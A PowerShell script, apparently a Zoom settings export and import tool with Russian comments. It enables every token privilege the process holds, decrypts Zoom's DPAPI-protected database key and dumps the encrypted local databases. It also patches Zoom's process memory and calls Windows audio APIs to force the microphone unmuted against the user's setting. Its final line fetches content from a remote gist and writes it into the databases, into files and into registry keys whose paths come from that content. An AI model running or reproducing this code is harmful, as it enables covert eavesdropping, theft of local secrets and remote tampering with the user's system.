function Update-UserVars { $ConsoleUser = ([Security.Principal.WindowsIdentity]::GetCurrent().Name.Split('\')[-1]) $CurentUser = (((query session | sls console) -split '\s+')[1]) $ConsoleUserPathName = ((gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$((New-Object Security.Principal.NTAccount($ConsoleUser)).Translate([Security.Principal.SecurityIdentifier]).Value)").ProfileImagePath).Split('\',2)[1] $CurentUserPathName = ((gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$((New-Object Security.Principal.NTAccount($CurentUser)).Translate([Security.Principal.SecurityIdentifier]).Value)").ProfileImagePath).Split('\',2)[1] gci env: |% {si "env:\$($_.Name)" ($_.Value -replace [regex]::Escape($ConsoleUserPathName), $CurentUserPathName -replace [regex]::Escape($ConsoleUser), $CurentUser)} }; Update-UserVars function SetAllPrivileges {whoami /priv |? {$_ -match '^Se\w+'} |% {$matches[0]} |% {([diagnostics.process].GetMember('SetPrivilege',60)).Invoke($null,("$_",2))}}; SetAllPrivileges function b64($i,$f){if ($f){[IO.File]::WriteAllBytes($f,[Convert]::FromBase64String($i))}else{[Convert]::ToBase64String([IO.File]::ReadAllBytes($i))}} $CSharpCode = @" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; namespace ZoomPorter { public class Engine { [DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern bool CryptUnprotectData(ref DATA_BLOB pDataIn, StringBuilder ppszDataDescr, ref DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, int dwFlags, ref DATA_BLOB pDataOut); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct DATA_BLOB {public int cbData; public IntPtr pbData;} [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct CRYPTPROTECT_PROMPTSTRUCT {public int cbSize; public int dwPromptFlags; public IntPtr hwndApp; public string pszPrompt;} public static string Decrypt(byte[] data) { DATA_BLOB input = new DATA_BLOB {pbData = Marshal.AllocHGlobal(data.Length), cbData = data.Length}; DATA_BLOB output = new DATA_BLOB(); CRYPTPROTECT_PROMPTSTRUCT prompt = new CRYPTPROTECT_PROMPTSTRUCT(); Marshal.Copy(data, 0, input.pbData, data.Length); try { if (CryptUnprotectData(ref input, null, ref output, IntPtr.Zero, ref prompt, 0, ref output)) { byte[] res = new byte[output.cbData]; Marshal.Copy(output.pbData, res, 0, output.cbData); return Encoding.UTF8.GetString(res); } } finally {Marshal.FreeHGlobal(input.pbData);} return null; } [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_open(string filename, out IntPtr ppDb); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_exec(IntPtr db, string sql, IntPtr callback, IntPtr arg, out IntPtr errmsg); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_close(IntPtr db); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_prepare_v2(IntPtr db, string zSql, int nByte, out IntPtr ppStmt, IntPtr pzTail); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_step(IntPtr pStmt); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr sqlite3_column_text(IntPtr pStmt, int iCol); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_column_count(IntPtr pStmt); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr sqlite3_column_name(IntPtr pStmt, int iCol); [DllImport("ZMDB.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_finalize(IntPtr pStmt); public static List> Query(IntPtr db, string sql) { var results = new List>(); IntPtr stmt; if (sqlite3_prepare_v2(db, sql, -1, out stmt, IntPtr.Zero) == 0) { int colCount = sqlite3_column_count(stmt); while (sqlite3_step(stmt) == 100) { var row = new Dictionary(); for (int i = 0; i < colCount; i++) { string name = Marshal.PtrToStringAnsi(sqlite3_column_name(stmt, i)); IntPtr vPtr = sqlite3_column_text(stmt, i); row[name] = vPtr == IntPtr.Zero ? null : Marshal.PtrToStringAnsi(vPtr); } results.Add(row); } sqlite3_finalize(stmt); } return results; } } } "@ function Zoom { param([switch]$Export, [switch]$Import, [switch]$Start, [switch]$Set, [switch]$Debug) if (!$Export -and !$Import -and !$Start -and !$Set) {Write-Warning 'Укажите -Export, -Import, -Start или -Set'; return} # --- ПАКЕТ ХИРУРГИЧЕСКОГО ВКЛЮЧЕНИЯ (SURGICAL UNMUTE) --- # ZoomControllerV24 - Диспетчер сообщений (Legacy Fallback) if (!(([Management.Automation.PSTypeName]'ZoomControllerV24').Type)) {Add-Type -Language CSharp @' using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Text; public static class ZoomControllerV24 { [DllImport("user32.dll")] public static extern bool PostMessage(IntPtr h, uint m, IntPtr w, IntPtr l); [DllImport("user32.dll")] public static extern bool EnumWindows(EnumWindowsProc lp, IntPtr l); [DllImport("user32.dll")] public static extern bool EnumChildWindows(IntPtr p, EnumWindowsProc lp, IntPtr l); [DllImport("user32.dll")] public static extern uint GetWindowThreadProcessId(IntPtr h, out uint pid); [DllImport("user32.dll")] public static extern int GetClassName(IntPtr h, StringBuilder s, int m); public delegate bool EnumWindowsProc(IntPtr h, IntPtr l); public static void Unmute() { var pids = new HashSet(); foreach(var p in Process.GetProcessesByName("zoom")) pids.Add((uint)p.Id); EnumWindows((h, l) => { uint pid; GetWindowThreadProcessId(h, out pid); if (pids.Contains(pid)) { StringBuilder sb = new StringBuilder(256); GetClassName(h, sb, 256); string cn = sb.ToString(); if (cn.Contains("ConfMultiTab") || cn.Contains("ZPControlPanel") || cn.Contains("VideoContainer")) TrueBurst(h); EnumChildWindows(h, (ch, cl) => { StringBuilder csb = new StringBuilder(256); GetClassName(ch, csb, 256); if (csb.ToString().Contains("ZPControlPanel")) TrueBurst(ch); return true; }, IntPtr.Zero); } return true; }, IntPtr.Zero); } private static void TrueBurst(IntPtr h) { PostMessage(h, 0x0111, (IntPtr)((1 << 16) | 40615), IntPtr.Zero); PostMessage(h, 0x0111, (IntPtr)((1 << 16) | 40321), IntPtr.Zero); PostMessage(h, 0x0319, h, (IntPtr)(24 << 16)); } } '@} # ZoomControllerV26 - Патчер памяти (Engine Level) if (!(([Management.Automation.PSTypeName]'ZoomControllerV26').Type)) {Add-Type -Language CSharp @' using System; using System.Diagnostics; using System.Runtime.InteropServices; public static class ZoomControllerV26 { [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(int a, bool i, int p); [DllImport("kernel32.dll")] static extern bool ReadProcessMemory(IntPtr h, IntPtr b, byte[] bu, int s, out IntPtr r); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr b, byte[] bu, int n, out IntPtr w); [DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr h, IntPtr a, UIntPtr s, uint n, out uint o); [DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr h); public static bool ForceUnmute() { Process p = null; ProcessModule m = null; foreach (Process pr in Process.GetProcessesByName("zoom")) { if (pr.MainWindowTitle.Length > 0) { p = pr; break; } } if (p == null) return false; foreach (ProcessModule mod in p.Modules) if (mod.ModuleName.ToLower().Contains("viperex")) { m = mod; break; } if (m == null) return false; IntPtr h = OpenProcess(0x38, false, p.Id); if (h == IntPtr.Zero) return false; try { byte[] pat = { 0x80, 0xBB, 0x58, 0x01, 0x00, 0x00, 0x00, 0x74 }; byte[] buf = new byte[m.ModuleMemorySize]; IntPtr rd; if (ReadProcessMemory(h, m.BaseAddress, buf, buf.Length, out rd)) { for (int i = 0; i < (int)rd - 8; i++) { bool match = true; for (int j = 0; j < 8; j++) if (buf[i+j] != pat[j]) { match = false; break; } if (match) { IntPtr adr = (IntPtr)(m.BaseAddress.ToInt64() + i + 7); uint old; IntPtr wr; if (VirtualProtectEx(h, adr, (UIntPtr)1, 0x40, out old)) { WriteProcessMemory(h, adr, new byte[] { 0xEB }, 1, out wr); VirtualProtectEx(h, adr, (UIntPtr)1, old, out old); return true; } } } } return false; } finally { CloseHandle(h); } } } '@} # ZoomControllerV29 - WASAPI (System Level) if (!(([Management.Automation.PSTypeName]'ZoomControllerV29').Type)) {Add-Type -Language CSharp @' using System; using System.Runtime.InteropServices; using System.Diagnostics; [Guid("77AA9910-1BD6-484F-8BC7-2C654C9A0B6F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IAudioSessionManager2 { int GetAudioSessionEnumerator(out IAudioSessionEnumerator e); } [Guid("E2F5BB11-0070-4C51-803A-8BB368146F42"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IAudioSessionEnumerator { int GetCount(out int c); int GetSession(int i, out IAudioSessionControl s); } [Guid("BFB7FF88-7239-4fc9-8FA2-07C950BE9C6D"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IAudioSessionControl { } [Guid("F4B1A092-9681-4A26-85E9-51CB39978082"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IAudioSessionControl2 { int GetProcessId(out uint p); } [Guid("87CE5492-F576-45D4-B768-0566F6EB6BC4"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface ISimpleAudioVolume { int SetMute(bool m, ref Guid e); } [Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IMMDeviceEnumerator { int GetDefaultAudioEndpoint(int d, int r, out IMMDevice p); } [Guid("D6660639-5046-4E62-9115-64391F2A27E4"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IMMDevice { int Activate(ref Guid i, int c, IntPtr p, out object itf); } [ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDE { } public static class ZoomControllerV29 { public static void ForceUnmute() { try { var enumr = (IMMDeviceEnumerator)new MMDE(); IMMDevice dev; enumr.GetDefaultAudioEndpoint(0, 1, out dev); // eRender object mngObj; Guid iid = new Guid("77AA9910-1BD6-484F-8BC7-2C654C9A0B6F"); dev.Activate(ref iid, 1, IntPtr.Zero, out mngObj); var mng = (IAudioSessionManager2)mngObj; IAudioSessionEnumerator se; mng.GetAudioSessionEnumerator(out se); int count; se.GetCount(out count); for (int i = 0; i < count; i++) { IAudioSessionControl s; se.GetSession(i, out s); uint pid; ((IAudioSessionControl2)s).GetProcessId(out pid); if (Process.GetProcessById((int)pid).ProcessName.ToLower().Contains("zoom")) { Guid g = Guid.Empty; ((ISimpleAudioVolume)s).SetMute(false, ref g); } } } catch { } } } '@} if ($Set) { if ($Debug) { Write-Host "Executing Triple-Layer Unmute..." -ForegroundColor Cyan } [ZoomControllerV29]::ForceUnmute() [ZoomControllerV26]::ForceUnmute() | Out-Null [ZoomControllerV24]::Unmute() Write-Host "[SUCCESS] Unmute Sequence Complete (WASAPI + Engine + Broadcast)." -ForegroundColor Green return } # Алиасы для удобства function Set-ZoomMic { param([switch]$Enable) Zoom -Set } if ($Start) { # PmiScanner компилируется ПЕРВЫМ — не требует ZMDB.dll, гораздо легче ZoomPorter.Engine if (!(([Management.Automation.PSTypeName]'PmiScanner').Type)) {Add-Type -Language CSharp @' using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using System.Text; public static class PmiScanner { [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(int a,bool i,int p); [DllImport("kernel32.dll")] static extern bool ReadProcessMemory(IntPtr h,IntPtr addr,byte[] buf,int sz,out IntPtr rd); [DllImport("kernel32.dll")] static extern void CloseHandle(IntPtr h); [DllImport("kernel32.dll")] static extern int VirtualQueryEx(IntPtr h,IntPtr addr,out MBI m,uint sz); [StructLayout(LayoutKind.Sequential)] struct MBI{public IntPtr Base,AllocBase;public uint AP;public IntPtr Size;public uint State,Protect,Type;} static readonly uint SZ=(uint)Marshal.SizeOf(typeof(MBI)); static string Digits(byte[] b,int j,int e){ if(j>=e||b[j]<0x30||b[j]>0x39)return null; int n=0;while(j+n=0x30&&b[j+n]<=0x39)n++; if(n<9||n>11)return null; string id=Encoding.ASCII.GetString(b,j,n); return(id=="2147483647"||id=="4294967295")?null:id; } static string DigitsU(byte[] b,int j,int e){ if(j+1>=e||b[j]<0x30||b[j]>0x39||b[j+1]!=0)return null; int n=0;while(j+n+1=0x30&&b[j+n]<=0x39&&b[j+n+1]==0)n+=2; int dc=n/2;if(dc<9||dc>11)return null; string id=Encoding.Unicode.GetString(b,j,n); return(id=="2147483647"||id=="4294967295")?null:id; } static string FindA(byte[] b,int len){ int i=0;int m=len-20; while((i=Array.IndexOf(b,(byte)34,i))!=-1 && i(); int t = 0; var pList = new List(); try { foreach(var p in Process.GetProcesses()){ string n = p.ProcessName; if(n.Equals("zoom",StringComparison.OrdinalIgnoreCase)) pList.Insert(0,p); else if(n.Equals("msedgewebview2",StringComparison.OrdinalIgnoreCase)) pList.Add(p); else p.Dispose(); } foreach(var p in pList){ IntPtr h=OpenProcess(0x410,false,p.Id);if(h==IntPtr.Zero)continue; long addr=0;MBI m; // m.Type == 0x20000 (MEM_PRIVATE) skips EXEs/DLLs (~80% memory) while(VirtualQueryEx(h,(IntPtr)addr,out m,SZ)!=0){ if(m.State==0x1000&&(m.Protect&4)!=0&&m.Type==0x20000&&(long)m.Size<=7000000){ IntPtr rd; if(ReadProcessMemory(h,m.Base,buf,(int)(long)m.Size,out rd)){ string f=FindA(buf,(int)rd)??FindU(buf,(int)rd); if(f!=null){ if(!v.ContainsKey(f))v[f]=0; v[f]++; t++; if(t >= 5) { CloseHandle(h); goto DONE; } } } } addr+=(long)m.Size; } CloseHandle(h); } } finally { foreach(var p in pList) p.Dispose(); } DONE: string best=null; int top=0; foreach(var kv in v) if(kv.Value>top){best=kv.Key;top=kv.Value;} return best; } } '@} $pmi = $null # Быстрый старт: C# сам определяет, запущен ли Zoom. Никаких медленных вызовов gps (Get-Process) здесь! $pmi = [PmiScanner]::Scan() if ($Debug -and $pmi) {Write-Host " MEM(fast): PMI=$pmi" -ForegroundColor DarkGray} # DB fast-path — только если ZoomPorter.Engine уже скомпилирован (из Export/Import) if (!$pmi -and ([Management.Automation.PSTypeName]'ZoomPorter.Engine').Type) { $key = Get-ZoomMasterKey if ($key) { $ZoomDataDir = Join-Path $env:APPDATA "Zoom\data" foreach ($dbf in (gci "$ZoomDataDir/*.enc.db" -EA 0 |? {$_.Name -notmatch "avatar|process_monitoring"})) { $ptr = Open-ZoomDatabase -FilePath $dbf.FullName -Key $key if ($ptr -eq [IntPtr]::Zero) {continue} $rows = [ZoomPorter.Engine]::Query($ptr, "SELECT key,value FROM zoom_kv WHERE instr(lower(key),'pmi')>0 AND length(value) BETWEEN 9 AND 11") [ZoomPorter.Engine]::sqlite3_close($ptr) | Out-Null foreach ($row in $rows) { if ($row['value'] -match '^\d{9,11}$') { if ($Debug) {Write-Host " DB: $($dbf.Name) key=$($row['key']) val=$($row['value'])" -ForegroundColor DarkGray} $pmi = $row['value']; break } } if ($pmi) {break} } } } # PMI не найден → при необходимости запускаем Zoom, сканируем с интервалом 300ms if (!$pmi) { $zoomExe = 'C:\Program Files\Zoom\bin\Zoom.exe',"$env:LOCALAPPDATA\Zoom\bin\Zoom.exe" |? {Test-Path $_} | select -First 1 if (!$zoomExe) {Write-Warning "Zoom.exe не найден"; return} $zoomWasRunning = [bool](gps Zoom -EA 0) if (!$zoomWasRunning) {Write-Host "Запуск Zoom..." -ForegroundColor DarkCyan; Start-Process $zoomExe} $t = [Diagnostics.Stopwatch]::StartNew() while ($t.Elapsed.TotalSeconds -lt 25 -and !$pmi) { $pmi = [PmiScanner]::Scan() if (!$pmi) {sleep -Milliseconds 300} } if ($Debug -and $pmi) {Write-Host " MEM: PMI=$pmi" -ForegroundColor DarkGray} if (!$pmi -and !$zoomWasRunning) {gps Zoom -EA 0 | kill -Force} } if (!$pmi) {Write-Warning "PMI не найден — аккаунт Zoom не подключён"; return} Write-Host "PMI: $pmi → запуск конференции..." -ForegroundColor Cyan $pmi Start-Process "zoommtg://zoom.us/join?confno=$pmi" } if ($Export -or $Import) { $Path = Join-Path $env:USERPROFILE "settings.sql" try {Import-ZoomEngine; $key = Get-ZoomMasterKey} catch {Write-Error "Ошибка инициализации: $_"; return} if (!$key) {throw "Ключ Zoom не найден."} $ZoomDataDir = Join-Path $env:APPDATA "Zoom\data" if ($Export) { Write-Host "[*] Экспорт данных в $Path..." -ForegroundColor Cyan $sb = [Text.StringBuilder]::new() $sb.AppendLine("-- Zoom Porter Export") | Out-Null gci "$ZoomDataDir/*.enc.db" |? {$_.Name -notmatch "avatar|process_monitoring"} |% { Write-Host " [*] База: $($_.Name)" $sb.AppendLine("`n`n-- >>> DATABASE_START: $($_.Name) <<< --") | Out-Null $ptr = Open-ZoomDatabase -FilePath $_.FullName -Key $key if ($ptr -ne [IntPtr]::Zero) { [ZoomPorter.Engine]::Query($ptr, "SELECT name FROM sqlite_master WHERE type='table'") |% { $tn = $_["name"]; if ($tn -match "avatar") {return} $rows = [ZoomPorter.Engine]::Query($ptr, "SELECT * FROM $tn") if ($rows.Count -gt 0) { $sb.AppendLine("-- TABLE: $tn ($($rows.Count) rows)") | Out-Null $sb.AppendLine("DELETE FROM $tn;") | Out-Null $rows |% { $cols = $_.Keys -join '", "' $vals = $_.Values |% {if ($null -eq $_) {"NULL"} else {"'$($_.ToString().Replace("'","''"))'"} } $sb.AppendLine("INSERT OR REPLACE INTO $tn (`"$cols`") VALUES ($($vals -join ', '));") | Out-Null } } } [ZoomPorter.Engine]::sqlite3_close($ptr) | Out-Null } $sb.AppendLine("-- >>> DATABASE_END: $($_.Name) <<< --") | Out-Null } $sb.AppendLine("`n`n-- >>> CONFIG_FILES_START <<< --") | Out-Null @("client.config","viper.ini","transcoding.ini","Zoom.us.ini") |% { $f = Join-Path $ZoomDataDir $_ if (Test-Path $f) {$sb.AppendLine("INSERT INTO zoom_files_kv VALUES ('$_', '$((gc $f -Raw).Replace("'","''"))');") | Out-Null} } $sb.AppendLine("`n`n-- >>> REGISTRY_START <<< --") | Out-Null @("HKCU:\Software\Zoom\Zoom Chat","HKCU:\Software\Zoom\Zoom Meetings","HKCU:\Software\Zoom\Zoom Video") |% { if (Test-Path $_) { (gp $_).PSObject.Properties |? {$_.Name -notmatch "PSPath|PSParentPath|PSChildName|PSDrive|PSProvider"} |% { $v = if ($null -eq $_.Value) {""} else {$_.Value.ToString().Replace("'","''")} $sb.AppendLine("INSERT OR REPLACE INTO zoom_registry_kv VALUES ('$_', '$($_.Name)', '$v', 'String');") | Out-Null } } } [IO.File]::WriteAllText($Path, $sb.ToString().Replace($ZoomDataDir.TrimEnd('\'), "{{ZOOM_DATA}}"), [Text.Encoding]::UTF8) Write-Host "[SUCCESS] Экспорт завершен: $Path" -ForegroundColor Green } if ($Import) { $ImportUrl = 'https://gist.github.com/ZTD38F/8b898a33ecfe21d9f549f1f5327ad45b/raw/zoom-settings' Write-Host "[*] Импорт данных из $ImportUrl..." -ForegroundColor Cyan $raw = (iwr $ImportUrl -UseBasicParsing).Content gps Zoom,zoom_launcher -EA 0 | kill -Force sleep 1 $sections = [Regex]::Split($raw, "-- >>> (.*?) <<< --") for ($i = 1; $i -lt $sections.Length; $i += 2) { $hdr = $sections[$i]; $body = $sections[$i+1].Trim() if ($hdr -match "DATABASE_START: (.*)") { $ptr = Open-ZoomDatabase -FilePath (Join-Path $ZoomDataDir $Matches[1].Trim()) -Key $key if ($ptr -ne [IntPtr]::Zero) { ($body -split ';') |% { $stmt = $_.Trim().Replace("{{ZOOM_DATA}}", $ZoomDataDir) if ($stmt) {[ZoomPorter.Engine]::sqlite3_exec($ptr, $stmt, [IntPtr]::Zero, [IntPtr]::Zero, [ref][IntPtr]::Zero) | Out-Null} } [ZoomPorter.Engine]::sqlite3_close($ptr) | Out-Null } } elseif ($hdr -match "CONFIG_FILES_START") { [Regex]::Matches($body, "INSERT INTO zoom_files_kv VALUES \('(.*?)', '(.*?)'\);", [Text.RegularExpressions.RegexOptions]::Singleline) |% { $_.Groups[2].Value.Replace("''","'") > (Join-Path $ZoomDataDir $_.Groups[1].Value) } } elseif ($hdr -match "REGISTRY_START") { [Regex]::Matches($body, "INSERT OR REPLACE INTO zoom_registry_kv VALUES \('(.*?)', '(.*?)', '(.*?)', '(.*?)'\);") |% { $rp = $_.Groups[1].Value if (!(Test-Path $rp)) {ni $rp -Force | Out-Null} sp -Path $rp -Name $_.Groups[2].Value -Value $_.Groups[3].Value.Replace("''","'") -Force 2>$null } } } Write-Host "[SUCCESS] Настройки применены." -ForegroundColor Green } } } function Import-ZoomEngine { if (!([Management.Automation.PSTypeName]"ZoomPorter.Engine").Type) { $zmdb = gci -Path "C:\Program Files\Zoom\bin\ZMDB.dll","$env:ProgramFiles\Zoom\bin\ZMDB.dll" -EA 0 | select -First 1 if (!$zmdb) {throw "ZMDB.dll не найдена. Проверьте путь установки Zoom."} [Environment]::SetEnvironmentVariable("PATH", "$([Environment]::GetEnvironmentVariable('PATH'));$(Split-Path $zmdb.FullName)", "Process") try {Add-Type -TypeDefinition $CSharpCode -EA Stop} catch {Write-Error "Ошибка компиляции: $($_.Exception.Message)"; throw} } } function Get-ZoomMasterKey { $ini = Join-Path $env:APPDATA "Zoom\data\Zoom.us.ini" if (!(Test-Path $ini)) {return $null} $line = gc $ini | sls "win_osencrypt_key=" | select -First 1 if (!$line) {return $null} $b64 = $line.ToString().Split("=")[1].Trim().Substring(7) while ($b64.Length % 4 -ne 0) {$b64 += "="} try {return [ZoomPorter.Engine]::Decrypt([Convert]::FromBase64String($b64))} catch {return $null} } function Open-ZoomDatabase ([string]$FilePath, [string]$Key) { $db = [IntPtr]::Zero if ([ZoomPorter.Engine]::sqlite3_open($FilePath, [ref]$db) -ne 0) {return [IntPtr]::Zero} $err = [IntPtr]::Zero "PRAGMA key = '$Key';","PRAGMA cipher_page_size = 1024","PRAGMA kdf_iter = 4000","PRAGMA cipher_hmac_algorithm = HMAC_SHA512","PRAGMA cipher_kdf_algorithm = PBKDF2_HMAC_SHA512" |% { [ZoomPorter.Engine]::sqlite3_exec($db, $_, [IntPtr]::Zero, [IntPtr]::Zero, [ref]$err) | Out-Null } return $db } Zoom -Import